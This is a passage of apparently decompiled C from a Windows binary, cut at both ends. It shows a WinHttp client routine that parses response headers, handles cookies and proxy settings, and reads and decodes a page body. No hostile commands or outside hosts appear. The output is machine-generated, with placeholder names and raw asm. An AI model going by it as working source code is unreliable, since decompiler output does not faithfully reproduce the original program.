															E00BF71C0(_t1330, _t1365, 0, _v4288 + _v4288);
															_t1393 = _t1384 + 0x10;
															_t850 =  &_v4288;
															__imp__WinHttpQueryHeaders(_v4296, 0x16, 0, _t1365, _t850, 0);
															__eflags = _t850;
															if(_t850 == 0) {
																L143:
																E00BF44E1(_t1365);
																_t1349 = _v4296;
																_t1384 = _t1393 + 4;
																goto L144;
															} else {
																_t1207 = _t1365;
																_t162 = _t1207 + 2; // 0x2
																_t1322 = _t162;
																do {
																	_t936 =  *_t1207;
																	_t1207 = _t1207 + 2;
																	__eflags = _t936;
																} while (_t936 != 0);
																_t1373 =  &(_t1330[0xe]);
																_push(_t1207 - _t1322 >> 1);
																E00BE7B00(_t1062,  &(_t1330[0xe]), _t1322, _t1330, _v4308);
																_v4320 = 0;
																_v4316 = 0;
																_v4312 = 0;
																_v8 = 2;
																_push(0);
																_v4188 = 0;
																_v4184 = 7;
																_v4204 = 0;
																E00BE7B00(_t1062,  &_v4204, _t1322, _t1330, 0xc2685c);
																_v8 = 3;
																__eflags = _t1330[0x4b];
																if(_t1330[0x4b] == 0) {
																	_push(0x19);
																	_t1233 =  &_v4204;
																	E00BE7B00(_t1062, _t1233, _t1322, _t1330, L"charset={[A-Za-z0-9\\-_]+}");
																	_push(_t1233);
																	_t1007 = E00BD4300(_t1062,  &_v4204, _t1330, _t1373, _t1233, _t1373,  &_v4320);
																	_t1393 = _t1393 + 0x10;
																	__eflags = _t1007;
																	if(_t1007 != 0) {
																		_t1322 = _v4320;
																		__eflags = (_v4316 - _t1322 >> 3) * 0xaaaaaaab;
																		if((_v4316 - _t1322 >> 3) * 0xaaaaaaab != 0) {
																			_t1235 =  &(_t1330[0x1a]);
																			__eflags =  &(_t1330[0x1a]) - _t1322;
																			if( &(_t1330[0x1a]) != _t1322) {
																				__eflags =  *((intOrPtr*)(_t1322 + 0x14)) - 8;
																				_t1012 = _t1322;
																				if( *((intOrPtr*)(_t1322 + 0x14)) >= 8) {
																					_t1012 =  *_t1322;
																				}
																				_push( *((intOrPtr*)(_t1322 + 0x10)));
																				E00BE7B00(_t1062, _t1235, _t1322, _t1330, _t1012);
																			}
																		}
																	}
																}
																_push(0x18);
																_t1212 =  &_v4204;
																E00BE7B00(_t1062, _t1212, _t1322, _t1330, L"Content-Length: {[0-9]+}");
																_push(_t1212);
																_t942 = E00BD4300(_t1062,  &_v4204, _t1330, _t1373, _t1212, _t1373,  &_v4320);
																_t1400 = _t1393 + 0x10;
																__eflags = _t942;
																if(_t942 != 0) {
																	_t1232 = _v4320;
																	__eflags = (_v4316 - _t1232 >> 3) * 0xaaaaaaab;
																	if((_v4316 - _t1232 >> 3) * 0xaaaaaaab != 0) {
																		__eflags =  *((intOrPtr*)(_t1232 + 0x14)) - 8;
																		if( *((intOrPtr*)(_t1232 + 0x14)) >= 8) {
																			_t1232 =  *_t1232;
																		}
																		_t1004 = E00C00FCA(_t1232, _t1232);
																		_t1400 = _t1400 + 4;
																		_t1330[0x23] = _t1004;
																	}
																}
																_push(0x12);
																_t1214 =  &_v4204;
																E00BE7B00(_t1062, _t1214, _t1322, _t1330, L"Location: {[0-9]+}");
																_push(_t1214);
																_t945 = E00BD4300(_t1062,  &_v4204, _t1330, _t1373, _t1214, _t1373,  &_v4320);
																_t1401 = _t1400 + 0x10;
																__eflags = _t945;
																if(_t945 != 0) {
																	_t1322 = _v4320;
																	__eflags = (_v4316 - _t1322 >> 3) * 0xaaaaaaab;
																	if((_v4316 - _t1322 >> 3) * 0xaaaaaaab != 0) {
																		_t1231 =  &(_t1330[0x58]);
																		__eflags =  &(_t1330[0x58]) - _t1322;
																		if( &(_t1330[0x58]) != _t1322) {
																			__eflags =  *((intOrPtr*)(_t1322 + 0x14)) - 8;
																			_t998 = _t1322;
																			if( *((intOrPtr*)(_t1322 + 0x14)) >= 8) {
																				_t998 =  *_t1322;
																			}
																			_push( *((intOrPtr*)(_t1322 + 0x10)));
																			E00BE7B00(_t1062, _t1231, _t1322, _t1330, _t998);
																		}
																	}
																}
																_push(0x15);
																_t1216 =  &_v4204;
																E00BE7B00(_t1062, _t1216, _t1322, _t1330, L"Set-Cookie:\\b*{.+?}\\n");
																_push(_t1216);
																_t948 = E00BD4300(_t1062,  &_v4204, _t1330, _t1373, _t1216, _t1373,  &_v4320);
																_t1349 = _v4320;
																_t1393 = _t1401 + 0x10;
																_v4292 = _t1349;
																__eflags = _t948;
																if(_t948 == 0) {
																	L125:
																	_v8 = 2;
																	_t1309 = _v4184;
																	__eflags = _t1309 - 8;
																	if(_t1309 < 8) {
																		L129:
																		_v4188 = 0;
																		_v4184 = 7;
																		_v4204 = 0;
																		_v8 = 0;
																		__eflags = _t1349;
																		if(_t1349 == 0) {
																			L142:
																			_t1365 = _v4308;
																			goto L143;
																		} else {
																			__eflags = _t1349 - _v4316;
																			if(_t1349 == _v4316) {
																				L139:
																				_t954 = _t1349;
																				_t1219 = (_v4312 - _t1349 >> 3) * 0xaaaaaaab + (_v4312 - _t1349 >> 3) * 0xaaaaaaab * 2 << 3;
																				__eflags = _t1219 - 0x1000;
																				if(_t1219 < 0x1000) {
																					L141:
																					_push(_t1219);
																					E00BF4B47(_t1349);
																					_t1393 = _t1393 + 8;
																					_v4320 = 0;
																					_v4316 = 0;
																					_v4312 = 0;
																					goto L142;
																				} else {
																					_t1349 =  *(_t1349 - 4);
																					_t1085 = _t1219 + 0x23;
																					__eflags = _t954 - _t1349 + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L220;
																					} else {
																						goto L141;
																					}
																				}
																			} else {
																				_t1349 = _t1349 + 0x14;
																				__eflags = _t1349;
																				do {
																					_t1220 =  *_t1349;
																					__eflags = _t1220 - 8;
																					if(_t1220 < 8) {
																						goto L137;
																					} else {
																						_t960 =  *((intOrPtr*)(_t1349 - 0x14));
																						_t1221 = 2 + _t1220 * 2;
																						__eflags = _t1221 - 0x1000;
																						if(_t1221 < 0x1000) {
																							L136:
																							_push(_t1221);
																							E00BF4B47(_t960);
																							_t1393 = _t1393 + 8;
																							goto L137;
																						} else {
																							_t1250 =  *((intOrPtr*)(_t960 - 4));
																							_t1085 = _t1221 + 0x23;
																							__eflags = _t960 - _t1250 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L220;
																							} else {
																								_t960 = _t1250;
																								goto L136;
																							}
																						}
																					}
																					goto L338;
																					L137:
																					 *(_t1349 - 4) = 0;
																					 *((short*)(_t1349 - 0x14)) = 0;
																					 *_t1349 = 7;
																					_t1349 = _t1349 + 0x18;
																					__eflags = _t1349 - 0x14 - _v4316;
																				} while (_t1349 - 0x14 != _v4316);
																				_t1349 = _v4292;
																				goto L139;
																			}
																		}
																	} else {
																		_t1222 = _v4204;
																		_t1309 = 2 + _t1309 * 2;
																		_t964 = _t1222;
																		__eflags = _t1309 - 0x1000;
																		if(_t1309 < 0x1000) {
																			L128:
																			_push(_t1309);
																			E00BF4B47(_t1222);
																			_t1393 = _t1393 + 8;
																			goto L129;
																		} else {
																			_t1085 =  *((intOrPtr*)(_t1222 - 4));
																			_t1250 = _t1309 + 0x23;
																			__eflags = _t964 -  *((intOrPtr*)(_t1222 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L220;
																			} else {
																				goto L128;
																			}
																		}
																	}
																} else {
																	_t971 = (_v4316 - _t1349 >> 3) * 0xaaaaaaab;
																	__eflags = _t971;
																	if(_t971 == 0) {
																		goto L125;
																	} else {
																		_t1223 =  &(_t1330[0x24]);
																		_v4304 = 0;
																		_v4280 =  &(_t1330[0x24]);
																		_t1348 = _t971;
																		do {
																			__eflags =  *(_t1349 + 0x14) - 8;
																			_t972 = _t1349;
																			if( *(_t1349 + 0x14) >= 8) {
																				_t972 =  *_t1349;
																			}
																			_push( *((intOrPtr*)(_t1349 + 0x10)));
																			E00BE8930(_t1062, _t1223, _t972);
																			__eflags = _v4304 - _t1348 - 1;
																			if(_v4304 != _t1348 - 1) {
																				_push(2);
																				E00BE8930(_t1062, _v4280, L"; ");
																			}
																			_t1349 = _t1349 + 0x18;
																			_t1223 = _v4280;
																			_t976 = _v4304 + 1;
																			_v4304 = _t976;
																			__eflags = _t976 - _t1348;
																		} while (_t976 < _t1348);
																		_t1330 = _v4348;
																		_push(1);
																		_v4236 = 0;
																		_v4232 = 7;
																		_v4252 = 0;
																		E00BE7B00(_t1062,  &_v4252, _t1322, _t1330, " ");
																		_v8 = 4;
																		_t1349 =  &(_t1330[0x24]);
																		_t980 = E00BD4830(_t1062,  &_v4276, _t1349, _t1330,  &_v4252);
																		_t1393 = _t1393 + 4;
																		E00BE5D00(_t1062, _t1349, _t980);
																		_t1324 = _v4256;
																		__eflags = _t1324 - 8;
																		if(_t1324 < 8) {
																			L115:
																			_v8 = 3;
																			_t1325 = _v4232;
																			_v4260 = 0;
																			_v4256 = 7;
																			_v4276 = 0;
																			__eflags = _t1325 - 8;
																			if(_t1325 < 8) {
																				L119:
																				_t1326 = _t1330[0x28];
																				__eflags = _t1326;
																				if(_t1326 != 0) {
																					__eflags =  *(_t1349 + 0x14) - 8;
																					_t983 = _t1349;
																					if( *(_t1349 + 0x14) >= 8) {
																						_t983 =  *_t1349;
																					}
																					__eflags =  *((short*)(_t983 + _t1326 * 2 - 2)) - 0x3b;
																					if( *((short*)(_t983 + _t1326 * 2 - 2)) != 0x3b) {
																						_push(1);
																						E00BE8930(_t1062, _t1349, ";");
																					}
																				}
																				_t1349 = _v4292;
																				goto L125;
																			} else {
																				_t1228 = _v4252;
																				_t1327 = 2 + _t1325 * 2;
																				_t985 = _t1228;
																				__eflags = _t1327 - 0x1000;
																				if(_t1327 < 0x1000) {
																					L118:
																					_push(_t1327);
																					E00BF4B47(_t1228);
																					_t1393 = _t1393 + 8;
																					goto L119;
																				} else {
																					_t1085 =  *((intOrPtr*)(_t1228 - 4));
																					_t1250 = _t1327 + 0x23;
																					__eflags = _t985 -  *((intOrPtr*)(_t1228 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L220;
																					} else {
																						goto L118;
																					}
																				}
																			}
																		} else {
																			_t1229 = _v4276;
																			_t1328 = 2 + _t1324 * 2;
																			_t989 = _t1229;
																			__eflags = _t1328 - 0x1000;
																			if(_t1328 < 0x1000) {
																				L114:
																				_push(_t1328);
																				E00BF4B47(_t1229);
																				_t1393 = _t1393 + 8;
																				goto L115;
																			} else {
																				_t1085 =  *((intOrPtr*)(_t1229 - 4));
																				_t1250 = _t1328 + 0x23;
																				__eflags = _t989 -  *((intOrPtr*)(_t1229 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L220;
																				} else {
																					goto L114;
																				}
																			}
																		}
																	}
																}
															}
														} else {
															__eflags = GetLastError() - 0x7a;
															if(__eflags != 0) {
																L144:
																_t852 =  &_v4288;
																_v4288 = 0;
																__imp__WinHttpQueryHeaders(_t1349, 0x13, 0, 0, _t852, 0);
																__eflags = _t852;
																if(__eflags != 0) {
																	L146:
																	_t1309 = _v4288 * 2 >> 0x20;
																	_t1366 = E00BF4B55(_v4288 * 2 >> 0x20, __eflags,  ~(0 | __eflags > 0x00000000) | _v4288 * 0x00000002);
																	E00BF71C0(_t1330, _t1366, 0, _v4288 + _v4288);
																	_t1394 = _t1384 + 0x10;
																	_t857 =  &_v4288;
																	__imp__WinHttpQueryHeaders(_v4296, 0x13, 0, _t1366, _t857, 0);
																	__eflags = _t857;
																	if(_t857 != 0) {
																		_t1203 = _t1366;
																		_t285 = _t1203 + 2; // 0x2
																		_t1309 = _t285;
																		do {
																			_t933 =  *_t1203;
																			_t1203 = _t1203 + 2;
																			__eflags = _t933;
																		} while (_t933 != 0);
																		_t1204 = _t1203 - _t1309;
																		__eflags = _t1204;
																		_push(_t1204 >> 1);
																		E00BE7B00(_t1062,  &(_t1330[0x3f]), _t1309, _t1330, _t1366);
																	}
																	E00BF44E1(_t1366);
																	_t1384 = _t1394 + 4;
																} else {
																	__eflags = GetLastError() - 0x7a;
																	if(__eflags == 0) {
																		goto L146;
																	}
																}
																_t859 = _t1330[0x20];
																_t1367 = 0;
																_v4304 = 0;
																_v4308 = 0x2800;
																__eflags = _t1330[0x20];
																if(__eflags != 0) {
																	E00BF44E1(_t859);
																	_t1384 = _t1384 + 4;
																	_t1330[0x20] = 0;
																}
																_t1330[0x20] = E00BF4B55(_t1309, __eflags, 0x2800);
																E00BF71C0(_t1330, _t860, 0, 0x2800);
																_t1395 = _t1384 + 0x10;
																asm("o16 nop [eax+eax]");
																do {
																	_t862 =  &_v4288;
																	_v4288 = 0;
																	__imp__WinHttpQueryDataAvailable(_v4296, _t862);
																	__eflags = _t862;
																	if(_t862 == 0) {
																		_t1330[0x3e] = GetLastError();
																	} else {
																		_t1311 = _t1330[0x22];
																		__eflags = _t1311;
																		if(__eflags != 0) {
																			_t1199 = _t1330[0x23];
																			__eflags = _t1199;
																			if(__eflags != 0) {
																				asm("movd xmm1, esi");
																				asm("cvtdq2pd xmm1, xmm1");
																				asm("movd xmm0, ecx");
																				asm("addsd xmm1, [eax*8+0xc285c0]");
																				asm("cvtdq2pd xmm0, xmm0");
																				__eflags = _t1199 >> 0x1f;
																				asm("mulsd xmm1, [0xc28560]");
																				asm("addsd xmm0, [ecx*8+0xc285c0]");
																				asm("divsd xmm1, xmm0");
																				asm("movsd [esp], xmm1");
																				 *_t1311();
																				_t1395 = _t1395 - 8 + 8;
																			}
																		}
																		_v4280 = E00BF4B55(_t1311, __eflags, _v4288 + 1);
																		E00BF71C0(_t1330, _t917, 0, _v4288 + 1);
																		_t1396 = _t1395 + 0x10;
																		_v4292 = 0;
																		_t919 =  &_v4292;
																		__imp__WinHttpReadData(_v4296, _v4280, _v4288, _t919);
																		__eflags = _t919;
																		if(_t919 != 0) {
																			_t1201 = _v4292;
																			_t1320 = _v4308;
																			__eflags = _t1201 + _t1367 - _t1320;
																			if(_t1201 + _t1367 > _t1320) {
																				_t1321 = _t1320 + _t1320;
																				__eflags = _t1321;
																				_v4308 = _t1321;
																				_t1330[0x20] = E00BF4B55(_t1321, _t1321, _t1321);
																				E00BF71C0(_t1330, _t925, 0, _v4308);
																				E00BF73D0(_t1330[0x20], _t1330[0x20], _v4304);
																				E00BF44E1(_t1330[0x20]);
																				_t1201 = _v4292;
																				_t1396 = _t1396 + 0x20;
																				_t1367 = _v4304;
																			}
																			E00BF73D0( &(_t1330[0x20][_t1367]), _v4280, _t1201);
																			_t1396 = _t1396 + 0xc;
																			_t1367 = _t1367 + _v4292;
																			__eflags = _t1367;
																			_v4304 = _t1367;
																		}
																		E00BF44E1(_v4280);
																		_t1395 = _t1396 + 4;
																	}
																	__eflags = _v4288;
																} while (_v4288 > 0);
																_t1312 = _t1330[0x22];
																__eflags = _t1312;
																if(_t1312 != 0) {
																	_t1197 = _t1330[0x23];
																	__eflags = _t1197;
																	if(_t1197 != 0) {
																		asm("movd xmm1, esi");
																		asm("cvtdq2pd xmm1, xmm1");
																		asm("movd xmm0, ecx");
																		asm("addsd xmm1, [eax*8+0xc285c0]");
																		asm("cvtdq2pd xmm0, xmm0");
																		__eflags = _t1197 >> 0x1f;
																		asm("mulsd xmm1, [0xc28560]");
																		asm("addsd xmm0, [ecx*8+0xc285c0]");
																		asm("divsd xmm1, xmm0");
																		asm("movsd [esp], xmm1");
																		 *_t1312();
																		_t1395 = _t1395 - 8 + 8;
																	}
																}
																_t1330[0x21] = _t1367;
																_t864 =  &(_t1330[0x1a]);
																_t1368 = 0;
																_v4292 = 1;
																__eflags = _t864[5] - 8;
																_v4280 = 0;
																if(_t864[5] >= 8) {
																	_t864 =  *_t864;
																}
																_t865 = E00C01F2F(_t1062, _t1330, _t1368, _t864, L"utf-8", 5);
																_t1384 = _t1395 + 0xc;
																__eflags = _t865;
																if(_t865 == 0) {
																	_t1368 = 0xfde9;
																	_v4292 = _t865;
																	_v4280 = 0xfde9;
																}
																_t1369 = MultiByteToWideChar(_t1368, _v4292, _t1330[0x20], _t1330[0x21] + 1, 0, 0);
																__eflags = _t1369;
																if(__eflags > 0) {
																	L174:
																	_v4344 = E00BF4B55(_t1369 * 2 >> 0x20, __eflags,  ~(0 | __eflags > 0x00000000) | _t1369 * 0x00000002);
																	E00BF71C0(_t1330, _t871, 0, _t1369 + _t1369);
																	_t1397 = _t1384 + 0x10;
																	_t1370 = _v4344;
																	_t873 = MultiByteToWideChar(_v4280, _v4292, _t1330[0x20], _t1330[0x21] + 1, _t1370, _t1369);
																	__eflags = _t873;
																	if(_t873 > 0) {
																		_t1193 = _t1370;
																		_t1319 =  &(_t1193[1]);
																		do {
																			_t907 =  *_t1193;
																			_t1193 =  &(_t1193[1]);
																			__eflags = _t907;
																		} while (_t907 != 0);
																		_t1194 = _t1193 - _t1319;
																		__eflags = _t1194;
																		_push(_t1194 >> 1);
																		E00BE7B00(_t1062,  &(_t1330[0x14]), _t1319, _t1330, _t1370);
																	}
																	E00BF44E1(_t1370);
																	_t1384 = _t1397 + 4;
																} else {
																	_v4280 = 0;
																	_v4292 = 1;
																	_t1369 = MultiByteToWideChar(0, 1, _t1330[0x20], _t1330[0x21] + 1, 0, 0);
																	__eflags = _t1369;
																	if(__eflags > 0) {
																		goto L174;
																	}
																}
																__eflags = _v4208 - 8;
																_v4297 = 1;
																_t1184 =  >=  ? _v4228 :  &_v4228;
																__eflags = _v4212 - 3;
																if(_v4212 != 3) {
																	L209:
																	_t1349 = _v4296;
																	goto L210;
																} else {
																	_t1371 = 3;
																	_t1315 = L"GET";
																	while(1) {
																		__eflags =  *_t1184 -  *_t1315;
																		if( *_t1184 !=  *_t1315) {
																			goto L209;
																		}
																		_t1184 = _t1184 + 2;
																		_t1315 = _t1315 + 2;
																		_t1371 = _t1371 - 1;
																		__eflags = _t1371;
																		if(_t1371 != 0) {
																			continue;
																		} else {
																			_push(8);
																			_v4188 = _t1371;
																			_t1185 =  &_v4204;
																			_v4184 = 7;
																			_v4204 = 0;
																			E00BE7B00(_t1062, _t1185, _t1315, _t1330, L"{<html>}");
																			_v4332 = _t1371;
																			_v4328 = _t1371;
																			_v4324 = _t1371;
																			_push(_t1185);
																			_v8 = 6;
																			_t1349 =  &(_t1330[0x14]);
																			_t879 = E00BD4300(_t1062,  &_v4204, _t1330, _t1349, _t1185, _t1349,  &_v4332);
																			_t1187 = _v4332;
																			_t1384 = _t1384 + 0x10;
																			_t1316 = _v4328;
																			_v4280 = _t1187;
																			__eflags = _t879;
																			if(_t879 != 0) {
																				__eflags = (_t1316 - _t1187 >> 3) * 0xaaaaaaab;
																				if((_t1316 - _t1187 >> 3) * 0xaaaaaaab != 0) {
																					_push(9);
																					_t1191 =  &_v4204;
																					E00BE7B00(_t1062, _t1191, _t1316, _t1330, L"{</html>}");
																					_push(_t1191);
																					_t904 = E00BD4300(_t1062,  &_v4204, _t1330, _t1349, _t1191, _t1349,  &_v4332);
																					_t1187 = _v4332;
																					_t1384 = _t1384 + 0x10;
																					_t1316 = _v4328;
																					_v4280 = _t1187;
																					__eflags = _t904;
																					if(_t904 == 0) {
																						L187:
																						_t1330[0x3e] = 0xd;
																						_v4297 = 0;
																					} else {
																						__eflags = _t1316 == _t1187;
																						if(_t1316 == _t1187) {
																							goto L187;
																						}
																					}
																				}
																			}
																			_v8 = 5;
																			__eflags = _t1187;
																			if(_t1187 == 0) {
																				L201:
																				_v8 = 0;
																				_t1307 = _v4184;
																				__eflags = _t1307 - 8;
																				if(_t1307 < 8) {
																					L205:
																					__eflags = _v4297;
																					_t1349 = _v4296;
																					if(_v4297 != 0) {
																						L210:
																						__imp__WinHttpCloseHandle(_t1349);
																						goto L211;
																					} else {
																						_t1158 = _v4336;
																						goto L22;
																					}
																				} else {
																					_t1188 = _v4204;
																					_t1307 = 2 + _t1307 * 2;
																					_t880 = _t1188;
																					__eflags = _t1307 - 0x1000;
																					if(_t1307 < 0x1000) {
																						L204:
																						_push(_t1307);
																						E00BF4B47(_t1188);
																						_t1384 = _t1384 + 8;
																						goto L205;
																					} else {
																						_t1085 =  *((intOrPtr*)(_t1188 - 4));
																						_t1250 = _t1307 + 0x23;
																						__eflags = _t880 -  *((intOrPtr*)(_t1188 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L220;
																						} else {
																							goto L204;
																						}
																					}
																				}
																			} else {
																				__eflags = _t1187 - _t1316;
																				if(_t1187 == _t1316) {
																					L198:
																					_t888 = _t1187;
																					_t1318 = (_v4324 - _t1187 >> 3) * 0xaaaaaaab + (_v4324 - _t1187 >> 3) * 0xaaaaaaab * 2 << 3;
																					__eflags = _t1318 - 0x1000;
																					if(_t1318 < 0x1000) {
																						L200:
																						_push(_t1318);
																						E00BF4B47(_t1187);
																						_t1384 = _t1384 + 8;
																						_v4332 = 0;
																						_v4328 = 0;
																						_v4324 = 0;
																						goto L201;
																					} else {
																						_t1085 =  *((intOrPtr*)(_t1187 - 4));
																						_t1250 = _t1318 + 0x23;
																						__eflags = _t888 -  *((intOrPtr*)(_t1187 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L220;
																						} else {
																							goto L200;
																						}
																					}
																				} else {
																					_t1349 = _t1187 + 0x14;
																					do {
																						_t1189 =  *_t1349;
																						__eflags = _t1189 - 8;
																						if(_t1189 < 8) {
																							goto L196;
																						} else {
																							_t894 =  *((intOrPtr*)(_t1349 - 0x14));
																							_t1190 = 2 + _t1189 * 2;
																							__eflags = _t1190 - 0x1000;
																							if(_t1190 < 0x1000) {
																								L195:
																								_push(_t1190);
																								E00BF4B47(_t894);
																								_t1316 = _v4328;
																								_t1384 = _t1384 + 8;
																								goto L196;
																							} else {
																								_t1250 =  *((intOrPtr*)(_t894 - 4));
																								_t1085 = _t1190 + 0x23;
																								__eflags = _t894 - _t1250 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L220;
																								} else {
																									_t894 = _t1250;
																									goto L195;
																								}
																							}
																						}
																						goto L338;
																						L196:
																						 *(_t1349 - 4) = 0;
																						 *((short*)(_t1349 - 0x14)) = 0;
																						 *_t1349 = 7;
																						_t1349 = _t1349 + 0x18;
																						__eflags = _t1349 - 0x14 - _t1316;
																					} while (_t1349 - 0x14 != _t1316);
																					_t1187 = _v4280;
																					goto L198;
																				}
																			}
																		}
																		goto L338;
																	}
																	goto L209;
																}
															} else {
																goto L82;
															}
														}
													}
												} else {
													_t1015 =  &_v4196;
													asm("xorps xmm0, xmm0");
													asm("movups [ebp-0x1060], xmm0");
													__imp__WinHttpGetIEProxyConfigForCurrentUser(_t1015);
													__eflags = _t1015;
													if(_t1015 == 0) {
														L207:
														_t844 = GetLastError();
														_t1158 = _v4336;
														_t1330[0x3e] = _t844;
														continue;
													} else {
														_t1016 = _v4192;
														__eflags = _t1016;
														if(_t1016 == 0) {
															_t1374 = _v4188;
															__eflags = _t1374;
															if(_t1374 != 0) {
																_v4376 = 3;
																asm("xorps xmm0, xmm0");
																asm("movlpd [ebp-0x1110], xmm0");
																E00BF71C0(_t1330,  &_v540, 0, 0x208);
																E00C00FED( &_v540, 0x104, _t1374);
																_t1375 = _v4184;
																_t1384 = _t1384 + 0x18;
																_v4372 =  &_v540;
																__eflags = _t1375;
																if(_t1375 != 0) {
																	E00BF71C0(_t1330,  &_v1580, 0, 0x208);
																	E00C00FED( &_v1580, 0x104, _t1375);
																	_t1384 = _t1384 + 0x18;
																	_v4368 =  &_v1580;
																}
																_t1024 =  &_v4376;
																__imp__WinHttpSetOption(_v4296, 0x26, _t1024, 0xc);
																__eflags = _t1024;
																if(_t1024 == 0) {
																	goto L68;
																}
																goto L69;
															}
														} else {
															__eflags = _t1330[7] - 8;
															asm("xorps xmm0, xmm0");
															_v4404 = _t1016;
															_t1035 =  &(_t1330[2]);
															_v4412 = 3;
															_v4408 = 1;
															_v4392 = 1;
															_v4396 = 0;
															_v4400 = 0;
															asm("movq [ebp-0x1108], xmm0");
															_v4356 = 0;
															if(_t1330[7] >= 8) {
																_t1035 = _t1330[2];
															}
															__imp__WinHttpGetProxyForUrl( *_t1330, _t1035,  &_v4412,  &_v4364);
															__eflags = _t1035;
															if(_t1035 == 0) {
																L68:
																_t1330[0x3e] = GetLastError();
															} else {
																_t1036 =  &_v4364;
																__imp__WinHttpSetOption(_t1349, 0x26, _t1036, 0xc);
																__eflags = _t1036;
																if(_t1036 != 0) {
																	__imp__WinHttpSendRequest(_t1349, 0, 0, 0, 0, 0, 0);
																	__eflags = _t1036;
																	_t1241 =  !=  ? 1 : _v4340 & 0x000000ff;
																	_v4340 =  !=  ? 1 : _v4340 & 0x000000ff;
																}
																_t1037 = _v4360;
																__eflags = _t1037;
																if(_t1037 != 0) {
																	GlobalFree(_t1037);
																}
																_t1038 = _v4356;
																__eflags = _t1038;
																if(_t1038 != 0) {
																	GlobalFree(_t1038);
																}
															}
															L69:
															_t1025 = _v4192;
															__eflags = _t1025;
															if(_t1025 != 0) {
																GlobalFree(_t1025);
															}
															_t1026 = _v4188;
															__eflags = _t1026;
															if(_t1026 != 0) {
																GlobalFree(_t1026);
															}
														}
														_t1017 = _v4184;
														__eflags = _t1017;
														if(_t1017 != 0) {
															GlobalFree(_t1017);
														}
														__eflags = _v4340;
														_t1349 = _v4296;
														_t1158 = _v4336;
														if(_v4340 == 0) {
															continue;
														} else {
															goto L76;
														}
													}
												}
											} else {
												_push(8);
												_v4188 = 0;
												_v4184 = 7;
												_v4204 = 0;
												E00BE7B00(_t1062,  &_v4204, _t1307, _t1330, L"Cookie: ");
												_v8 = 1;
												_t1245 =  &(_t1330[0x2a]);
												__eflags = _t1330[0x2f] - 8;
												if(_t1330[0x2f] >= 8) {
													_t1245 = _t1330[0x2a];
												}
												E00BE8930(_t1062,  &_v4204, _t1245);
												__eflags = _v4184 - 8;
												_t842 =  >=  ? _v4204 :  &_v4204;
												__imp__WinHttpAddRequestHeaders(_t1349, _t842, _v4188, 0x1000000, _t1330[0x2e]);
												__eflags = _t842;
												if(_t842 == 0) {
													_t842 = GetLastError();
													_t1330[0x3e] = _t842;
												}
												_v8 = 0;
												_t1307 = _v4184;
												__eflags = _t1307 - 8;
												if(_t1307 < 8) {
													goto L37;
												} else {
													_t1247 = _v4204;
													_t1307 = 2 + _t1307 * 2;
													_t1056 = _t1247;
													__eflags = _t1307 - 0x1000;
													if(_t1307 < 0x1000) {
														L36:
														_push(_t1307);
														_t842 = E00BF4B47(_t1247);
														_t1384 = _t1384 + 8;
														goto L37;
													} else {
														_t1085 =  *((intOrPtr*)(_t1247 - 4));
														_t1250 = _t1307 + 0x23;
														__eflags = _t1056 -  *((intOrPtr*)(_t1247 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L220;
														} else {
															goto L36;
														}
													}
												}
											}
											goto L338;
										}
										_v4281 = 0;
										goto L210;
									}
								}
							}
						} else {
							__eflags = _t1330[0x4a] - 8;
							_t1060 =  &(_t1330[0x45]);
							if(_t1330[0x4a] >= 8) {
								_t1060 =  *_t1060;
							}
							__imp__WinHttpOpen(_t1060, 0, 0, 0, 0);
							 *_t1330 = _t1060;
							__eflags = _t1060;
							if(_t1060 != 0) {
								goto L11;
							} else {
								_t693 = GetLastError();
								L213:
								_t1330[0x3e] = _t693;
								_v4281 = 0;
								L214:
								_t1249 = _v4208;
								__eflags = _t1249 - 8;
								if(_t1249 < 8) {
									L218:
									goto L219;
								} else {
									_t1085 = _v4228;
									_t1250 = 2 + _t1249 * 2;
									_t696 = _t1085;
									__eflags = _t1250 - 0x1000;
									if(_t1250 < 0x1000) {
										L217:
										_push(_t1250);
										E00BF4B47(_t1085);
										goto L218;
									} else {
										_t1085 =  *((intOrPtr*)(_t1085 - 4));
										_t1250 = _t1250 + 0x23;
										__eflags = _t696 - _t1085 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											L220:
											E00C01351(_t1062, _t1085, _t1250, _t1330, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t1378);
											_t1379 = _t1384;
											_push(0xffffffff);
											_push(0xc16f0d);
											_push( *[fs:0x0]);
											_t1386 = _t1384 - 0x30;
											_t702 =  *0xc2e00c; // 0x5cb9e59c
											_t703 = _t702 ^ _t1379;
											_v48 = _t703;
											_push(_t1062);
											_push(_t1349);
											_push(_t1330);
											_push(_t703);
											 *[fs:0x0] =  &_v44;
											_t1351 = _v24;
											_v88 = _t1351;
											_v92 = _t1351;
											_v36 = 0;
											_t1332 = _v4;
											_t1251 = 0xf0f0f0f1 * _t1332 >> 0x20;
											_t1064 = _t1251 >> 8;
											_v84 = _t1064;
											__eflags = _t1332 != _t1064 * 0x110;
											if(_t1332 != _t1064 * 0x110) {
												_t1064 = _t1064 + 1;
												__eflags = _t1064;
												_v60 = _t1064;
											}
											_t1088 = _t1351;
											_push(0);
											E00BE6060(_t1064, _t1088, _t1251, _t1332 - (_t1064 << 4));
											_t1334 = _a4;
											_t711 = 0;
											_v52 = 0;
											__eflags = _t1064;
											if(_t1064 <= 0) {
												_t1065 = _a24;
											} else {
												_t1295 = _t1064 - 1;
												_v44 = 0;
												_t1065 = _a24;
												_t1138 = 0;
												__eflags = 0;
												_v68 = _t1295;
												_v56 = 0;
												do {
													_t1364 = _t1138;
													__eflags = _t711 - _t1295;
													if(_t711 != _t1295) {
														_t1296 = 0x100;
													} else {
														_t1296 = _a20 - (0xf0f0f0f1 * _a20 >> 0x20 >> 8) * 0x110 - 0x10;
													}
													_v48 = _t1296;
													_t1139 = 0;
													__eflags = 0;
													do {
														__eflags = _t1065 - 0x10;
														_t809 =  >=  ? _t1334 :  &_a4;
